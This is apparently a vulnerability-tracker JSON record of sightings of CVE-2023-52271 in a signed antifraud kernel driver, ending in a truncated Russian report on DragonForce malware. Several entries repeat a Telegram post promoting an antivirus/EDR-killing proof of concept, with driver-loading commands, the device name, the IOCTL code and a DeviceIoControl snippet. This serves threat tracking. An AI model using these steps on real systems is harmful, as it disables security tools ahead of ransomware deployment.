{"vulnerability": "CVE-2023-52271", "sightings": [{"uuid": "d9ff18b8-d1b4-4f3d-852e-ea7cd0018b25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-52271", "type": "seen", "source": "https://bsky.app/profile/0x00sec.org/post/3meonzb3zpk2x", "content": "", "creation_timestamp": "2026-02-12T18:52:44.557228Z"}, {"uuid": "755c679e-b9a2-4108-b31f-c25e2184765f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-52271", "type": "seen", "source": "https://bsky.app/profile/vict0ni.bsky.social/post/3meoxnznghs2v", "content": "", "creation_timestamp": "2026-02-12T21:45:25.457548Z"}, {"uuid": "428aba6f-bde1-49a0-a4ce-9b3b15d1a5e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-52271", "type": "seen", "source": "https://bsky.app/profile/0x00sec.org/post/3meozaxhsvk2e", "content": "", "creation_timestamp": "2026-02-12T22:13:58.815094Z"}, {"uuid": "d5615612-bcdd-43bf-a5a8-35e36c5cf335", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-52271", "type": "seen", "source": "https://t.me/ctinow/173491", "content": "https://ift.tt/OwYh73k\nCVE-2023-52271 | Topaz Antifraud 2.0.0.0 Kernel Driver wsftprm.sys denial of service", "creation_timestamp": "2024-01-25T15:11:32.000000Z"}, {"uuid": "92dbcbd2-10da-49f4-a8c6-73d7b66cb6f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-52271", "type": "seen", "source": "https://t.me/ctinow/164655", "content": "https://ift.tt/ONHUB1A\nCVE-2023-52271", "creation_timestamp": "2024-01-08T21:27:05.000000Z"}, {"uuid": "6edf1587-c02d-4585-8cba-5d255b9ad96b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-52271", "type": "seen", "source": "https://t.me/CyberSecurityExploit/31223", "content": "\ud83d\udca3 AV-EDR-Killer \u2014 BYOVD Kernel Exploit via wsftprm.sys (CVE-2023-52271)\n\u2694\ufe0f Signed Driver Weaponization & Protected Process Termination\n\n\ud83d\udccc GitHub Repository\n\ud83d\udc49 https://github.com/xM0kht4r/AV-EDR-Killer\n\n\ud83d\udcd6 Description\nAV-EDR-Killer is a BYOVD-based proof-of-concept (PoC) demonstrating how a signed vulnerable driver (wsftprm.sys) can be abused to gain kernel-level capabilities and terminate protected AV/EDR processes.\nThe exploit uses IOCTL 0x22201C to pass a target process ID, allowing the driver to invoke ZwTerminateProcess and perform kernel-level process termination from user mode.\n\ud83d\udc49 Used in EDR bypass research, kernel exploitation, and Red Team post-exploitation\n\n\u26a0\ufe0f Important Note (Community Awareness)\n\ud83d\udc49 Vulnerability: CVE-2023-52271\n\u2022 signed driver (TPZ SOLUCOES DIGITAIS LTDA)\n\u2022 not consistently blocked by Microsoft driver blocklist\n\n\u26a0\ufe0f HIGH RISK \u2014 real-world attack technique\n\u2022 widely used in ransomware operations\n\u2022 disables AV/EDR before payload execution\n\n\ud83d\udc49 This is a manual PoC (NOT plug-and-play)\n\u2022 requires admin privileges\n\u2022 requires manual driver loading\n\u2022 requires building the binary\n\n\ud83d\udccc Community Note\n\ud83d\udc49 Category: BYOVD / EDR Killer PoC\n\u2022 not a framework\n\u2022 not automated\n\n\ud83d\udc49 Real-world behavior:\n\u2022 attackers first disable security controls\n\u2022 then deploy payloads\n\n\u2699\ufe0f Core Capabilities\n\ud83d\udca3 Protected Process Termination\n\u2022 kills AV / EDR processes\n\u2022 bypasses user-mode protections\n\u2022 leverages kernel execution\n\n\ud83e\uddec BYOVD Exploitation\n\u2022 loads vulnerable signed driver\n\u2022 abuses IOCTL interface\n\u2022 escalates capabilities to kernel\n\n\ud83d\udda5 Kernel-Level Execution\n\u2022 invokes ZwTerminateProcess\n\u2022 bypasses API hooks\n\u2022 operates below EDR visibility\n\n\u2699\ufe0f Exploit Flow\nRegister Driver Service\n        \u2193\nLoad wsftprm.sys\n        \u2193\nOpen Device Handle (\\\\.\\Warsaw_PM)\n        \u2193\nSend IOCTL (0x22201C)\n        \u2193\nPass Target PID\n        \u2193\nKernel Executes ZwTerminateProcess\n        \u2193\nKill AV / EDR Process\n\n\ud83e\udde0 Technical Highlights\n\u2022 CVE-2023-52271\n\u2022 IOCTL: 0x22201C\n\u2022 buffer size: 1036 bytes\n\u2022 first 4 bytes = PID (DWORD)\n\u2022 device: \\\\.\\Warsaw_PM\n\u2022 kernel API: ZwTerminateProcess\n\n\ud83e\udde0 Usage (Actual Steps)\n# 1. Register vulnerable driver (Admin required)\nsc create MalDriver binPath= C:\\path\\wsftprm.sys type= kernel\nsc start MalDriver\n\n# 2. Build PoC\ncargo build --release\n\n# 3. Execute\nAV-EDR-Killer.exe \n\n\ud83e\udde0 Driver Interaction (Concept)\nHANDLE hDevice = CreateFileW(\n    L\"\\\\\\\\.\\\\Warsaw_PM\",\n    GENERIC_READ | GENERIC_WRITE,\n    0, NULL, OPEN_EXISTING, 0, NULL\n);\n\nDeviceIoControl(\n    hDevice,\n    0x22201C,\n    buffer, // first 4 bytes = PID\n    1036,\n    NULL,\n    0,\n    &bytesReturned,\n    NULL\n);\n\n\ud83e\udde0 Workflow\nAdmin Access\n      \u2193\nLoad Vulnerable Driver\n      \u2193\nOpen Device Handle\n      \u2193\nSend Malicious IOCTL\n      \u2193\nKernel-Level Execution\n      \u2193\nTerminate Security Processes\n\n\ud83d\ude80 Why It Matters\n\u2022 demonstrates real-world BYOVD attack technique\n\u2022 highlights weakness in signed driver trust model\n\u2022 shows how EDR can be bypassed at kernel level\n\u2022 critical step in modern ransomware kill chains\n\n\ud83d\udca1 Research Value\nUseful for:\n\u2022 BYOVD exploitation research\n\u2022 kernel driver vulnerability analysis\n\u2022 EDR bypass techniques\n\u2022 Windows internals study\n\u2022 detection engineering\n\n\ud83d\udd25 Key Insight\nSigned Driver \u2192 IOCTL Abuse \u2192 Kernel Execution \u2192 Defense Kill\n\ud83d\udc49 Core concept behind modern EDR bypass attacks\n\n\u2714\ufe0f Exploit \u2714\ufe0f\n\u2714\ufe0f Scanner \u274c\n\u2714\ufe0f C2 \u274c\n\u2714\ufe0f BYOVD EDR Killer PoC \u2714\ufe0f\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-15T12:00:02.740698Z"}, {"uuid": "7b8e8bc3-2963-4d93-8b6f-556171cbefb1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-52271", "type": "seen", "source": "https://t.me/CyberSecurityExploit/31224", "content": "\ud83d\udca3 AV-EDR-Killer \u2014 BYOVD Kernel Exploit via wsftprm.sys (CVE-2023-52271)\n\u2694\ufe0f Signed Driver Weaponization & Protected Process Termination\n\n\ud83d\udccc GitHub Repository\n\ud83d\udc49 https://github.com/xM0kht4r/AV-EDR-Killer\n\n\ud83d\udcd6 Description\nAV-EDR-Killer is a BYOVD-based proof-of-concept (PoC) demonstrating how a signed vulnerable driver (wsftprm.sys) can be abused to gain kernel-level capabilities and terminate protected AV/EDR processes.\nThe exploit uses IOCTL 0x22201C to pass a target process ID, allowing the driver to invoke ZwTerminateProcess and perform kernel-level process termination from user mode.\n\ud83d\udc49 Used in EDR bypass research, kernel exploitation, and Red Team post-exploitation\n\n\u26a0\ufe0f Important Note (Community Awareness)\n\ud83d\udc49 Vulnerability: CVE-2023-52271\n\u2022 signed driver (TPZ SOLUCOES DIGITAIS LTDA)\n\u2022 not consistently blocked by Microsoft driver blocklist\n\n\u26a0\ufe0f HIGH RISK \u2014 real-world attack technique\n\u2022 widely used in ransomware operations\n\u2022 disables AV/EDR before payload execution\n\n\ud83d\udc49 This is a manual PoC (NOT plug-and-play)\n\u2022 requires admin privileges\n\u2022 requires manual driver loading\n\u2022 requires building the binary\n\n\ud83d\udccc Community Note\n\ud83d\udc49 Category: BYOVD / EDR Killer PoC\n\u2022 not a framework\n\u2022 not automated\n\n\ud83d\udc49 Real-world behavior:\n\u2022 attackers first disable security controls\n\u2022 then deploy payloads\n\n\u2699\ufe0f Core Capabilities\n\ud83d\udca3 Protected Process Termination\n\u2022 kills AV / EDR processes\n\u2022 bypasses user-mode protections\n\u2022 leverages kernel execution\n\n\ud83e\uddec BYOVD Exploitation\n\u2022 loads vulnerable signed driver\n\u2022 abuses IOCTL interface\n\u2022 escalates capabilities to kernel\n\n\ud83d\udda5 Kernel-Level Execution\n\u2022 invokes ZwTerminateProcess\n\u2022 bypasses API hooks\n\u2022 operates below EDR visibility\n\n\u2699\ufe0f Exploit Flow\nRegister Driver Service\n        \u2193\nLoad wsftprm.sys\n        \u2193\nOpen Device Handle (\\\\.\\Warsaw_PM)\n        \u2193\nSend IOCTL (0x22201C)\n        \u2193\nPass Target PID\n        \u2193\nKernel Executes ZwTerminateProcess\n        \u2193\nKill AV / EDR Process\n\n\ud83e\udde0 Technical Highlights\n\u2022 CVE-2023-52271\n\u2022 IOCTL: 0x22201C\n\u2022 buffer size: 1036 bytes\n\u2022 first 4 bytes = PID (DWORD)\n\u2022 device: \\\\.\\Warsaw_PM\n\u2022 kernel API: ZwTerminateProcess\n\n\ud83e\udde0 Usage (Actual Steps)\n# 1. Register vulnerable driver (Admin required)\nsc create MalDriver binPath= C:\\path\\wsftprm.sys type= kernel\nsc start MalDriver\n\n# 2. Build PoC\ncargo build --release\n\n# 3. Execute\nAV-EDR-Killer.exe \n\n\ud83e\udde0 Driver Interaction (Concept)\nHANDLE hDevice = CreateFileW(\n    L\"\\\\\\\\.\\\\Warsaw_PM\",\n    GENERIC_READ | GENERIC_WRITE,\n    0, NULL, OPEN_EXISTING, 0, NULL\n);\n\nDeviceIoControl(\n    hDevice,\n    0x22201C,\n    buffer, // first 4 bytes = PID\n    1036,\n    NULL,\n    0,\n    &bytesReturned,\n    NULL\n);\n\n\ud83e\udde0 Workflow\nAdmin Access\n      \u2193\nLoad Vulnerable Driver\n      \u2193\nOpen Device Handle\n      \u2193\nSend Malicious IOCTL\n      \u2193\nKernel-Level Execution\n      \u2193\nTerminate Security Processes\n\n\ud83d\ude80 Why It Matters\n\u2022 demonstrates real-world BYOVD attack technique\n\u2022 highlights weakness in signed driver trust model\n\u2022 shows how EDR can be bypassed at kernel level\n\u2022 critical step in modern ransomware kill chains\n\n\ud83d\udca1 Research Value\nUseful for:\n\u2022 BYOVD exploitation research\n\u2022 kernel driver vulnerability analysis\n\u2022 EDR bypass techniques\n\u2022 Windows internals study\n\u2022 detection engineering\n\n\ud83d\udd25 Key Insight\nSigned Driver \u2192 IOCTL Abuse \u2192 Kernel Execution \u2192 Defense Kill\n\ud83d\udc49 Core concept behind modern EDR bypass attacks\n\n\u2714\ufe0f Exploit \u2714\ufe0f\n\u2714\ufe0f Scanner \u274c\n\u2714\ufe0f C2 \u274c\n\u2714\ufe0f BYOVD EDR Killer PoC \u2714\ufe0f\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-15T12:00:02.787268Z"}, {"uuid": "1c153b29-da9f-49ca-bf41-00f1858cf6df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-52271", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/31224", "content": "\ud83d\udca3 AV-EDR-Killer \u2014 BYOVD Kernel Exploit via wsftprm.sys (CVE-2023-52271)\n\u2694\ufe0f Signed Driver Weaponization & Protected Process Termination\n\n\ud83d\udccc GitHub Repository\n\ud83d\udc49 https://github.com/xM0kht4r/AV-EDR-Killer\n\n\ud83d\udcd6 Description\nAV-EDR-Killer is a BYOVD-based proof-of-concept (PoC) demonstrating how a signed vulnerable driver (wsftprm.sys) can be abused to gain kernel-level capabilities and terminate protected AV/EDR processes.\nThe exploit uses IOCTL 0x22201C to pass a target process ID, allowing the driver to invoke ZwTerminateProcess and perform kernel-level process termination from user mode.\n\ud83d\udc49 Used in EDR bypass research, kernel exploitation, and Red Team post-exploitation\n\n\u26a0\ufe0f Important Note (Community Awareness)\n\ud83d\udc49 Vulnerability: CVE-2023-52271\n\u2022 signed driver (TPZ SOLUCOES DIGITAIS LTDA)\n\u2022 not consistently blocked by Microsoft driver blocklist\n\n\u26a0\ufe0f HIGH RISK \u2014 real-world attack technique\n\u2022 widely used in ransomware operations\n\u2022 disables AV/EDR before payload execution\n\n\ud83d\udc49 This is a manual PoC (NOT plug-and-play)\n\u2022 requires admin privileges\n\u2022 requires manual driver loading\n\u2022 requires building the binary\n\n\ud83d\udccc Community Note\n\ud83d\udc49 Category: BYOVD / EDR Killer PoC\n\u2022 not a framework\n\u2022 not automated\n\n\ud83d\udc49 Real-world behavior:\n\u2022 attackers first disable security controls\n\u2022 then deploy payloads\n\n\u2699\ufe0f Core Capabilities\n\ud83d\udca3 Protected Process Termination\n\u2022 kills AV / EDR processes\n\u2022 bypasses user-mode protections\n\u2022 leverages kernel execution\n\n\ud83e\uddec BYOVD Exploitation\n\u2022 loads vulnerable signed driver\n\u2022 abuses IOCTL interface\n\u2022 escalates capabilities to kernel\n\n\ud83d\udda5 Kernel-Level Execution\n\u2022 invokes ZwTerminateProcess\n\u2022 bypasses API hooks\n\u2022 operates below EDR visibility\n\n\u2699\ufe0f Exploit Flow\nRegister Driver Service\n        \u2193\nLoad wsftprm.sys\n        \u2193\nOpen Device Handle (\\\\.\\Warsaw_PM)\n        \u2193\nSend IOCTL (0x22201C)\n        \u2193\nPass Target PID\n        \u2193\nKernel Executes ZwTerminateProcess\n        \u2193\nKill AV / EDR Process\n\n\ud83e\udde0 Technical Highlights\n\u2022 CVE-2023-52271\n\u2022 IOCTL: 0x22201C\n\u2022 buffer size: 1036 bytes\n\u2022 first 4 bytes = PID (DWORD)\n\u2022 device: \\\\.\\Warsaw_PM\n\u2022 kernel API: ZwTerminateProcess\n\n\ud83e\udde0 Usage (Actual Steps)\n# 1. Register vulnerable driver (Admin required)\nsc create MalDriver binPath= C:\\path\\wsftprm.sys type= kernel\nsc start MalDriver\n\n# 2. Build PoC\ncargo build --release\n\n# 3. Execute\nAV-EDR-Killer.exe \n\n\ud83e\udde0 Driver Interaction (Concept)\nHANDLE hDevice = CreateFileW(\n    L\"\\\\\\\\.\\\\Warsaw_PM\",\n    GENERIC_READ | GENERIC_WRITE,\n    0, NULL, OPEN_EXISTING, 0, NULL\n);\n\nDeviceIoControl(\n    hDevice,\n    0x22201C,\n    buffer, // first 4 bytes = PID\n    1036,\n    NULL,\n    0,\n    &bytesReturned,\n    NULL\n);\n\n\ud83e\udde0 Workflow\nAdmin Access\n      \u2193\nLoad Vulnerable Driver\n      \u2193\nOpen Device Handle\n      \u2193\nSend Malicious IOCTL\n      \u2193\nKernel-Level Execution\n      \u2193\nTerminate Security Processes\n\n\ud83d\ude80 Why It Matters\n\u2022 demonstrates real-world BYOVD attack technique\n\u2022 highlights weakness in signed driver trust model\n\u2022 shows how EDR can be bypassed at kernel level\n\u2022 critical step in modern ransomware kill chains\n\n\ud83d\udca1 Research Value\nUseful for:\n\u2022 BYOVD exploitation research\n\u2022 kernel driver vulnerability analysis\n\u2022 EDR bypass techniques\n\u2022 Windows internals study\n\u2022 detection engineering\n\n\ud83d\udd25 Key Insight\nSigned Driver \u2192 IOCTL Abuse \u2192 Kernel Execution \u2192 Defense Kill\n\ud83d\udc49 Core concept behind modern EDR bypass attacks\n\n\u2714\ufe0f Exploit \u2714\ufe0f\n\u2714\ufe0f Scanner \u274c\n\u2714\ufe0f C2 \u274c\n\u2714\ufe0f BYOVD EDR Killer PoC \u2714\ufe0f\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-16T00:00:34.050281Z"}, {"uuid": "5ec9112a-aa1d-4b9a-a2c1-40d079b6ceaa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-52271", "type": "exploited", "source": "https://t.me/CyberSecurityExploit/31223", "content": "\ud83d\udca3 AV-EDR-Killer \u2014 BYOVD Kernel Exploit via wsftprm.sys (CVE-2023-52271)\n\u2694\ufe0f Signed Driver Weaponization & Protected Process Termination\n\n\ud83d\udccc GitHub Repository\n\ud83d\udc49 https://github.com/xM0kht4r/AV-EDR-Killer\n\n\ud83d\udcd6 Description\nAV-EDR-Killer is a BYOVD-based proof-of-concept (PoC) demonstrating how a signed vulnerable driver (wsftprm.sys) can be abused to gain kernel-level capabilities and terminate protected AV/EDR processes.\nThe exploit uses IOCTL 0x22201C to pass a target process ID, allowing the driver to invoke ZwTerminateProcess and perform kernel-level process termination from user mode.\n\ud83d\udc49 Used in EDR bypass research, kernel exploitation, and Red Team post-exploitation\n\n\u26a0\ufe0f Important Note (Community Awareness)\n\ud83d\udc49 Vulnerability: CVE-2023-52271\n\u2022 signed driver (TPZ SOLUCOES DIGITAIS LTDA)\n\u2022 not consistently blocked by Microsoft driver blocklist\n\n\u26a0\ufe0f HIGH RISK \u2014 real-world attack technique\n\u2022 widely used in ransomware operations\n\u2022 disables AV/EDR before payload execution\n\n\ud83d\udc49 This is a manual PoC (NOT plug-and-play)\n\u2022 requires admin privileges\n\u2022 requires manual driver loading\n\u2022 requires building the binary\n\n\ud83d\udccc Community Note\n\ud83d\udc49 Category: BYOVD / EDR Killer PoC\n\u2022 not a framework\n\u2022 not automated\n\n\ud83d\udc49 Real-world behavior:\n\u2022 attackers first disable security controls\n\u2022 then deploy payloads\n\n\u2699\ufe0f Core Capabilities\n\ud83d\udca3 Protected Process Termination\n\u2022 kills AV / EDR processes\n\u2022 bypasses user-mode protections\n\u2022 leverages kernel execution\n\n\ud83e\uddec BYOVD Exploitation\n\u2022 loads vulnerable signed driver\n\u2022 abuses IOCTL interface\n\u2022 escalates capabilities to kernel\n\n\ud83d\udda5 Kernel-Level Execution\n\u2022 invokes ZwTerminateProcess\n\u2022 bypasses API hooks\n\u2022 operates below EDR visibility\n\n\u2699\ufe0f Exploit Flow\nRegister Driver Service\n        \u2193\nLoad wsftprm.sys\n        \u2193\nOpen Device Handle (\\\\.\\Warsaw_PM)\n        \u2193\nSend IOCTL (0x22201C)\n        \u2193\nPass Target PID\n        \u2193\nKernel Executes ZwTerminateProcess\n        \u2193\nKill AV / EDR Process\n\n\ud83e\udde0 Technical Highlights\n\u2022 CVE-2023-52271\n\u2022 IOCTL: 0x22201C\n\u2022 buffer size: 1036 bytes\n\u2022 first 4 bytes = PID (DWORD)\n\u2022 device: \\\\.\\Warsaw_PM\n\u2022 kernel API: ZwTerminateProcess\n\n\ud83e\udde0 Usage (Actual Steps)\n# 1. Register vulnerable driver (Admin required)\nsc create MalDriver binPath= C:\\path\\wsftprm.sys type= kernel\nsc start MalDriver\n\n# 2. Build PoC\ncargo build --release\n\n# 3. Execute\nAV-EDR-Killer.exe \n\n\ud83e\udde0 Driver Interaction (Concept)\nHANDLE hDevice = CreateFileW(\n    L\"\\\\\\\\.\\\\Warsaw_PM\",\n    GENERIC_READ | GENERIC_WRITE,\n    0, NULL, OPEN_EXISTING, 0, NULL\n);\n\nDeviceIoControl(\n    hDevice,\n    0x22201C,\n    buffer, // first 4 bytes = PID\n    1036,\n    NULL,\n    0,\n    &bytesReturned,\n    NULL\n);\n\n\ud83e\udde0 Workflow\nAdmin Access\n      \u2193\nLoad Vulnerable Driver\n      \u2193\nOpen Device Handle\n      \u2193\nSend Malicious IOCTL\n      \u2193\nKernel-Level Execution\n      \u2193\nTerminate Security Processes\n\n\ud83d\ude80 Why It Matters\n\u2022 demonstrates real-world BYOVD attack technique\n\u2022 highlights weakness in signed driver trust model\n\u2022 shows how EDR can be bypassed at kernel level\n\u2022 critical step in modern ransomware kill chains\n\n\ud83d\udca1 Research Value\nUseful for:\n\u2022 BYOVD exploitation research\n\u2022 kernel driver vulnerability analysis\n\u2022 EDR bypass techniques\n\u2022 Windows internals study\n\u2022 detection engineering\n\n\ud83d\udd25 Key Insight\nSigned Driver \u2192 IOCTL Abuse \u2192 Kernel Execution \u2192 Defense Kill\n\ud83d\udc49 Core concept behind modern EDR bypass attacks\n\n\u2714\ufe0f Exploit \u2714\ufe0f\n\u2714\ufe0f Scanner \u274c\n\u2714\ufe0f C2 \u274c\n\u2714\ufe0f BYOVD EDR Killer PoC \u2714\ufe0f\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-16T00:00:34.104044Z"}, {"uuid": "1052a9fa-54da-42a1-85fd-df1235b2154c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-52271", "type": "seen", "source": "https://t.me/true_secator/8319", "content": "DragonForce \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u0430 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u043e\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c Backdoor.Turn \u0434\u043b\u044f \u0441\u043e\u043a\u0440\u044b\u0442\u0438\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u0433\u043e \u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u0432\u043d\u0443\u0442\u0440\u0438 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0440\u0435\u0442\u0440\u0430\u043d\u0441\u043b\u044f\u0446\u0438\u0438 Microsoft Teams.\n\n\u0411\u044d\u043a\u0434\u043e\u0440 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b TURN (Traversal Using Relays around NAT), \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u044b\u0439 Microsoft Teams \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439, \u043a\u043e\u0433\u0434\u0430 \u043f\u0440\u044f\u043c\u043e\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0441 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u043c \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0434\u043b\u044f \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0432 \u0447\u0430\u0441\u0442\u043d\u043e\u0439 \u0441\u0435\u0442\u0438).\n\nDragonForce - \u044d\u0442\u043e\u00a0\u0431\u0430\u043d\u0434\u0430 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439,\u00a0\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0430\u044f \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0441 2023 \u0433\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u043e\u043d\u043d\u0443\u044e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443, \u043f\u043e\u0434\u043e\u0431\u043d\u0443\u044e \u043a\u0430\u0440\u0442\u0435\u043b\u044e, \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u043e\u0439 Scattered Spider.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Symantec, \u0445\u0430\u043a\u0435\u0440\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u043e\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e \u043d\u0430 \u044f\u0437\u044b\u043a\u0435 Go \u0434\u043b\u044f \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u043a\u0440\u0443\u043f\u043d\u0443\u044e \u0430\u043c\u0435\u0440\u0438\u043a\u0430\u043d\u0441\u043a\u0443\u044e \u0441\u0435\u0440\u0432\u0438\u0441\u043d\u0443\u044e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044e.\n\nBackdoor.Turn \u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 TURN Teams, \u043f\u043e\u043b\u0443\u0447\u0430\u044f \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0442\u043e\u043a\u0435\u043d \u043f\u043e\u0441\u0435\u0442\u0438\u0442\u0435\u043b\u044f Teams, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 \u0440\u0435\u0442\u0440\u0430\u043d\u0441\u043b\u044f\u0442\u043e\u0440 Microsoft TURN \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f, \u0430 \u0437\u0430\u0442\u0435\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u044f\u0441\u044c \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 C2 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430.\n\n\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0418\u0411-\u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u0432\u0438\u0434\u044f\u0442 \u0442\u0440\u0430\u0444\u0438\u043a, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0439 \u0441 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043e\u0439 Microsoft Teams, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u043c\u0443 \u041f\u041e \u0441\u043a\u0440\u044b\u0432\u0430\u0442\u044c \u0441\u0432\u043e\u0438 \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0439 \u0441\u0435\u0442\u0438.\n\n\u0412 \u043f\u0440\u043e\u0448\u043b\u043e\u043c \u0433\u043e\u0434\u0443 Praetorian \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u0442\u0435\u0445\u043d\u0438\u043a\u0443 \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c Ghost Calls, \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u0432, \u043a\u0430\u043a 